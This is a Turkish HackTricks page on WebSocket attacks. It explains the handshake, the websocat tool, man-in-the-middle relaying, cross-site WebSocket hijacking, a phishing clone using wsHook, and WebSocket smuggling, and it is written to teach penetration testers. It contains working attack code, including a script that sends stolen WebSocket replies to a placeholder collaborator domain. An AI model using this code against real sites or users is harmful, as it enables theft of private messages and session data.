WebSocket Saldırıları
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
WebSocket Nedir
WebSocket bağlantıları, başlangıçta bir HTTP el sıkışması ile kurulur ve uzun ömürlü olacak şekilde tasarlanmıştır; bu, herhangi bir zamanda iki yönlü mesajlaşmaya olanak tanır ve bir işlem sistemine ihtiyaç duymaz. Bu, WebSocket'leri, canlı finansal veri akışları gibi düşük gecikme veya sunucu başlatmalı iletişim gerektiren uygulamalar için özellikle avantajlı hale getirir.
WebSocket Bağlantılarının Kurulması
WebSocket bağlantılarının kurulması hakkında ayrıntılı bir açıklama buradan erişilebilir. Özetle, WebSocket bağlantıları genellikle aşağıda gösterildiği gibi istemci tarafı JavaScript ile başlatılır:
var ws = new WebSocket("wss://normal-website.com/ws")
wss
protokolü, TLS ile güvenli bir WebSocket bağlantısını belirtirken, ws
güvensiz bir bağlantıyı gösterir.
Bağlantı kurulumu sırasında, tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma (handshake) gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesi ile ilgilidir; aşağıdaki örneklerde gösterildiği gibi:
Tarayıcı bir el sıkışma isteği gönderir:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Sunucu el sıkışma yanıtı:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Bağlantı kurulduktan sonra, her iki yönde mesaj alışverişi için açık kalır.
WebSocket El Sıkışmasının Ana Noktaları:
Connection
veUpgrade
başlıkları, bir WebSocket el sıkışmasının başlatıldığını belirtir.Sec-WebSocket-Version
başlığı, genellikle13
olan istenen WebSocket protokol sürümünü gösterir.Sec-WebSocket-Key
başlığında, her el sıkışmanın benzersiz olmasını sağlamak için Base64 kodlu rastgele bir değer gönderilir; bu, önbellek proxy'leriyle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanıtın yanlış yapılandırılmış bir sunucu veya önbellek tarafından üretilmediğini doğrulamak içindir.- Sunucunun yanıtındaki
Sec-WebSocket-Accept
başlığı,Sec-WebSocket-Key
'in bir hash'idir ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar ve verimli gerçek zamanlı iletişim için zemin hazırlar.
Linux konsolu
Bir websocket ile ham bir bağlantı kurmak için websocat
kullanabilirsiniz.
websocat --insecure wss://10.10.10.10:8000 -v
Veya bir websocat sunucusu oluşturmak için:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket bağlantıları
Eğer istemcilerin mevcut yerel ağınızdan bir HTTP websocket'e bağlı olduğunu bulursanız, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir ARP Spoofing Attack denemek isteyebilirsiniz.
İstemci bağlanmaya çalıştığında, o zaman şunu kullanabilirsiniz:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets enumeration
Websockets'ı keşfetmek, parmak izi çıkarmak ve bilinen güvenlik açıklarını otomatik olarak bulmak için aracı https://github.com/PalindromeLabs/STEWS kullanabilirsiniz.
Websocket Debug tools
- Burp Suite, MitM websockets iletişimini, normal HTTP iletişimi için yaptığına çok benzer bir şekilde destekler.
- socketsleuth Burp Suite eklentisi, geçmişi alarak, yakalama kuralları belirleyerek, eşleşme ve değiştirme kuralları kullanarak, Intruder ve AutoRepeater kullanarak Burp'ta Websocket iletişimlerini daha iyi yönetmenizi sağlar.
- WSSiP: "WebSocket/Socket.io Proxy" kısaltması olan bu araç, Node.js ile yazılmıştır ve özelleştirilmiş mesajları yakalamak, kesmek, göndermek ve istemci ile sunucu arasındaki tüm WebSocket ve Socket.IO iletişimlerini görüntülemek için bir kullanıcı arayüzü sağlar.
- wsrepl, özellikle penetrasyon testi için tasarlanmış bir etkileşimli websocket REPL'dir. Gelen websocket mesajlarını gözlemlemek ve yenilerini göndermek için bir arayüz sağlar ve bu iletişimi otomatikleştirmek için kullanımı kolay bir çerçeve sunar.
- https://websocketking.com/ diğer weblerle websockets kullanarak iletişim kurmak için bir web'dir.
- https://hoppscotch.io/realtime/websocket diğer iletişim/protokol türlerinin yanı sıra, diğer weblerle websockets kullanarak iletişim kurmak için bir web sağlar.
Websocket Lab
Burp-Suite-Extender-Montoya-Course içinde websockets kullanarak bir web başlatmak için bir kod bulabilirsiniz ve bu yazıda bir açıklama bulabilirsiniz.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, ayrıca cross-origin WebSocket hijacking olarak da bilinir, Cross-Site Request Forgery (CSRF)'nin WebSocket el sıkışmalarını etkileyen belirli bir durumu olarak tanımlanır. Bu güvenlik açığı, WebSocket el sıkışmalarının yalnızca HTTP çerezleri aracılığıyla CSRF tokenları veya benzeri güvenlik önlemleri olmadan kimlik doğrulaması yaptığı durumlarda ortaya çıkar.
Saldırganlar, savunmasız bir uygulamaya çapraz alan WebSocket bağlantısı başlatan bir kötü niyetli web sayfası barındırarak bunu istismar edebilir. Sonuç olarak, bu bağlantı, uygulama ile kurbanın oturumu ile bir parça olarak kabul edilir ve oturum yönetim mekanizmasındaki CSRF korumasının eksikliğinden yararlanır.
Simple Attack
Websocket bağlantısı kurulurken çerez sunucuya gönderilir. Sunucu, her belirli kullanıcıyı gönderilen çerez temelinde websocket oturumu ile ilişkilendirmek için bunu kullanıyor olabilir.
Daha sonra, örneğin websocket sunucusu, bir mesaj "READY" gönderildiğinde bir kullanıcının konuşma geçmişini geri gönderirse, o zaman bağlantıyı kuran basit bir XSS (çerez otomatik olarak kurban kullanıcısını yetkilendirmek için gönderilecektir) "READY" göndererek konuşma geçmişini geri alabilecektir.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie with a different subdomain
Bu blog yazısında https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ saldırgan, web soket iletişiminin gerçekleştiği alanın alt alanında rastgele Javascript çalıştırmayı başardı. Çünkü bu bir alt alan idi, çerez gönderiliyordu ve çünkü Websocket, Origin'i düzgün kontrol etmediği için, onunla iletişim kurmak ve ondan token çalmak mümkün oldu.
Stealing data from user
Taklit etmek istediğiniz web uygulamasını kopyalayın (örneğin .html dosyaları) ve web soket iletişiminin gerçekleştiği scriptin içine bu kodu ekleyin:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Şimdi wsHook.js
dosyasını https://github.com/skepticfx/wshook adresinden indirin ve web dosyalarının bulunduğu klasöre kaydedin.
Web uygulamasını açarak bir kullanıcının buna bağlanmasını sağlarsanız, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
sudo python3 -m http.server 80
Yarış Koşulları
WebSocket'lerde de Yarış Koşulları vardır, daha fazla bilgi için burayı kontrol edin.
Diğer zafiyetler
Web Sockets, verileri sunucu tarafına ve istemci tarafına göndermek için bir mekanizma olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, Web Sockets, bir websocket üzerinden bir kullanıcının girdiğini kullanarak XSS, SQLi veya diğer yaygın web zafiyetlerini istismar etmek için kullanılabilir.
WebSocket Smuggling
Bu zafiyet, ters proxy kısıtlamalarını aşmanıza olanak tanıyabilir, çünkü onlara bir websocket iletişiminin kurulduğunu düşündürebilir (gerçek olmasa bile). Bu, bir saldırganın gizli uç noktalara erişmesine olanak tanıyabilir. Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.